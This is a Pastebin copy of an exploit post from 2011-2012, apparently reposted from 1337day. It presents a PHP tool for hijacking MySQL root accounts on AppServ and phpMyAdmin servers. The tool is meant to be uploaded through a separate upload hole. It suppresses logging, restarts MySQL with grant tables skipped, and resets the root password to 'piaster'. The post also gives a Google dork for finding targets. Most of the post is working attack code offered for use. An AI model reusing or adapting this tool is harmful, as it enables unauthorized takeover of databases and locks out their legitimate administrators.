cybercode

phpMyAdmin Root Password

Feb 16th, 2012
778
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.70 KB | None | 0 0
  1. # Exploit Title: [phpMyAdmin Root Password]
  2. # Date: [21/6/2011]
  3. # Home: 1337day.com
  4. # Author: [Piaster (wadelamin)]
  5. # phpmyadmin: Software Link: [www.appservnetwork.com ||www.phpmyadmin.net]
  6. # Version: [all phpmyadmin Version]
  7. # Category:: [remote, local]
  8. # Google dork: [inurl:phpMyAdmin ||  The AppServ Open Project - [all Version] for Windows ]
  9. # Tested on: [Windows & unix]
  10. # Page: http://www.facebook.com/Pias.Piaster
  11.  
  12. File Bug:
  13. //-----------------C:\AppServ\MySQL\scripts/resetpwd.php----------------//
  14.  
  15. echo "Welcome to AppServ MySQL Root Password Reset Program\n\n";
  16.  
  17. AppServCMD();
  18.  
  19. function AppServCMD() {
  20.     define('STDIN',fopen("php://stdin","r"));
  21.     echo " Enter New Password : ";
  22.     $input = trim(fgets(STDIN,256));
  23.     $input = ereg_replace('\"', "\\\"", $input);
  24.     $input = ereg_replace('\'', "\'", $input);
  25.     echo "\n   Please wait ...................................\n\n";
  26.     exec ("net stop mysql");
  27.     exec ('start /b C:\AppServ\MySQL\bin\mysqld-nt.exe --skip-grant-tables --user=root');
  28.  
  29. //You can add a password and then request the file via the browser
  30.  
  31.     exec ("C:\[AppServ]\MySQL\bin\mysql -e \"update mysql.user set PASSWORD=PASSWORD('[root pwd]') where user = 'root';\"");
  32.     exec ("C:\[AppServ]\MySQL\bin\mysqladmin -u root shutdown");
  33.     sleep(3);
  34.     exec ("net start mysql");
  35. }
  36. //--------------------------------END-----------------------------------//
  37.  
  38. I've modified the file and then request the file from abroad
  39. But first there must be a upload exploit on server so they can upload the tool like any other tool or Shell Script
  40. And then request the file via the browser
  41.  
  42. There Important Note:
  43. If the Windows server can access phpMyAdmin immediately
  44. if the file to complete the process this means that
  45. it is restarted the Mysql and then change the password.
  46.  
  47. //---------------------------------Exploit the vulnerability tool------------------------//
  48. <?
  49. echo "<style type='text/css'>* { margin: 0; padding: 0; }A {color:#ffffff;text-decoration:none;}A:hover {color:yellow;text-decoration:underline;}body,table { font-family:verdana;font-size:11px;color:white;background-color:#993333; }.table5 { font-family:verdana;font-size:11px;color:white;background-color:black; }table { width:30%; }table,td { border:1px solid #808080;margin-top:2;margin-bottom:2;padding:5px; }input{ color:#000000;border:2px solid #666666; }.barheader,.mainpaneltable,td { border:1px solid #333333; }.input{ border:2px  gold;margin:0; }input[type='submit'] { border:1px solid black; } input[type='text'] { padding:5px;}input[type='button'] { background-color:gold; }.select,option,input[type='button']:hover { background-color:red; }input[type='submit'] { background-color:orange }.select,option,input[type='submit']:hover { background-color:red; }input,input[type='text']:hover { background-color:#AF2C07; }textarea,.mainpanel input,select,option { background-color:orange; }</style>";echo "<head><title>PiAsTeR VS phpMyAdmin</title><div style=\"background: orange;\"><p align=\"center\"><font size=\"2\" <h1><font color = red><b>PiAsTeR</font> VS <font color = red>phpMyAdmin</font></h1></b></p><hr color=\"black\"</div></div><center><BR>";$f = '<a href="http://www.facebook.com/Pias.Piaster" target="_blank">Facebook</a>';
  50.  
  51. @set_time_limit(0);
  52. @ini_restore("safe_mode");
  53. @ini_restore("allow_url_fopen");
  54. @ini_restore("open_basedir");
  55. @ini_restore("disable_functions");
  56. @ini_restore("safe_mode_exec_dir");
  57. @ini_restore("safe_mode_include_dir");
  58.  
  59. @ini_set('error_log',NULL);
  60. @ini_set('log_errors',0);
  61. @ini_set('max_execution_time',0);
  62. @ini_set('output_buffering',0);
  63.  
  64. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  65. if(function_exists('exec')){$pias = exec;}
  66. elseif(function_exists('shell_exec')){$pias = shell_exec;}
  67. elseif(function_exists('system')) {$pias = system ;}
  68. elseif(function_exists('passthru')) { $pias = passthru ;}
  69.  
  70. if($win) {
  71.     define('STDIN',fopen("php://stdin","r"));
  72.     $input = trim(fgets(STDIN,256));
  73.     $input = ereg_replace('\"', "\\\"", $input);
  74.     $input = ereg_replace('\'', "\'", $input);
  75.     echo "\n   Please wait ...................................\n\nGoodluck ... <br>USER: root & PASSWORD: piaster";
  76.     $pias("net stop mysql");
  77.     $pias('start /b C:\AppServ\MySQL\bin\mysqld-nt.exe --skip-grant-tables --user=root');
  78.     $pias("C:\AppServ\MySQL\bin\mysql -e \"update mysql.user set PASSWORD=PASSWORD('piaster') where user = 'root';\"");
  79.     $pias("C:\AppServ\MySQL\bin\mysqladmin -u root shutdown");
  80.     sleep(3);
  81.     $pias("net start mysql");}
  82.  
  83. if(!$win) {
  84. echo '<br><br><br><form action="#" method="post"><p align="center"><table><tr><td>user<input name="dbu" size="20" value = ' . $_REQUEST['dbu'] . ' ><td>password<input name="dbp" size="20" value = ' . $_REQUEST['dbp'] . ' ><td>host<input name="dbh" size="20" value = ' . $_REQUEST['dbh'] . '></tr></table><input type="submit" value="GO" name = "pias" /> </p></form></td></tr><td><tr>';
  85.  
  86. if(isset($_REQUEST['pias'])){
  87.  
  88. $dbu = $_REQUEST['dbu'];
  89. $dbp = $_REQUEST['dbp'];
  90. $dbh = $_REQUEST['dbh']? $_REQUEST['dbh'] : 'localhost';
  91. $conn = @mysql_connect($dbh, $dbu, $dbp);
  92. $select = @mysql_select_db('mysql', $conn);
  93. if (!$select) {
  94. echo @mysql_error();}
  95. $t1 = "UPDATE mysql.user set PASSWORD=PASSWORD('piaster') where user = 'root';";
  96. $go1 = @mysql_query( $t1 , $conn);
  97. if($go1){echo '<center><br>Goodluck ... Now Wait Until Mysql Restart and Come back with USER: root & PASSWORD: piaster</center>';}
  98. else echo 'database mysql not acsses or not found ty agin';}}
  99.  
  100. echo '<br><br>By Piaster :: [email protected] :: '. $f ;
  101.  
  102. ?>
  103. //---------------------------------Exploit the vulnerability tool end--------------------//
  104.  
  105. My Notes : all i can say Awesome   !
  106. it working fine on all servers system !
Advertisement
Add Comment
Please, Sign In to add comment